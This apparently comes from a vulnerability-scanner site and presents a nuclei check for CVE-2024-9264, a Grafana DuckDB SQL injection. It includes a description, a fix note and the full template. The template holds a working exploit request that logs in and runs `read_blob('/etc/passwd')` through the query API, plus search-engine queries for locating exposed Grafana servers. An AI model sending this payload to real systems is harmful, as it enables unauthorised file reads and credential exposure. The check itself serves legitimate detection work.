Grafana Post-Auth DuckDB - SQL Injection To File Read

criticalseverity

9.9CVSS score

97.6%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

The SQL Expressions experimental feature of Grafana allows for the evaluation of `duckdb` queries containing user input. These queries are insufficiently sanitized before being passed to `duckdb`, leading to a command injection and local file inclusion vulnerability. Any user with the VIEWER or higher permission is capable of executing this attack. The `duckdb` binary must be present in Grafana's $PATH for this attack to function; by default, this binary is not installed in Grafana distributions.

Impact

Authenticated users with VIEWER or higher permissions can exploit SQL injection to read local files and execute commands through duckdb queries when the duckdb binary is present, potentially exposing sensitive configuration files and credentials.

Fix

Apply the vendor-supplied patch or upgrade to a non-vulnerable version.

How to confirm it

Send: POST /login
Positive when: contains in header "grafana_session"
Send: POST /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101
Positive when: matches /root:.*:0:/ AND contains "\"data\":{"

Run it with nuclei: nuclei -id CVE-2024-9264 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-9264

info:
  name: Grafana Post-Auth DuckDB - SQL Injection To File Read
  author: princechaddha
  severity: critical
  description: |
    The SQL Expressions experimental feature of Grafana allows for the evaluation of `duckdb` queries containing user input. These queries are insufficiently sanitized before being passed to `duckdb`, leading to a command injection and local file inclusion vulnerability. Any user with the VIEWER or higher permission is capable of executing this attack. The `duckdb` binary must be present in Grafana's $PATH for this attack to function; by default, this binary is not installed in Grafana distributions.
  impact: |
    Authenticated users with VIEWER or higher permissions can exploit SQL injection to read local files and execute commands through duckdb queries when the duckdb binary is present, potentially exposing sensitive configuration files and credentials.
  remediation: |
    Apply the vendor-supplied patch or upgrade to a non-vulnerable version.
  reference:
    - https://x.com/nol_tech/status/1847639874909749443
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://nvd.nist.gov/vuln/detail/CVE-2024-9264
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2024-9264
    cwe-id: CWE-94
    epss-score: 0.97553
    epss-percentile: 0.99902
  metadata:
    max-request: 2
    vendor: grafana
    product: grafana
    shodan-query:
      - http.title:"grafana"
      - cpe:"cpe:2.3:a:grafana:grafana"
    fofa-query:
      - app="grafana"
      - title="grafana"
    google-query: intitle:"grafana"
  tags: cve,cve2024,grafana,sqli,lfr,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        content-type: application/json

        {"user":"{{username}}","password":"{{password}}"}

    matchers:
      - type: word
        part: header
        words:
          - "grafana_session"
        internal: true

  - raw:
      - |
        POST /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "from": "1729313027261",
          "queries": [
            {
              "datasource": {
                "name": "Expression",
                "type": "__expr__",
                "uid": "__expr__"
              },
              "expression": "SELECT content FROM read_blob('/etc/passwd')",
              "hide": false,
              "refId": "B",
              "type": "sql",
              "window": ""
            }
          ],
          "to": "1729334627261"
        }

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:"

      - type: word
        part: body
        words:
          - '"data":{'

References

Use this check only on systems you are authorised to test. Where the data comes from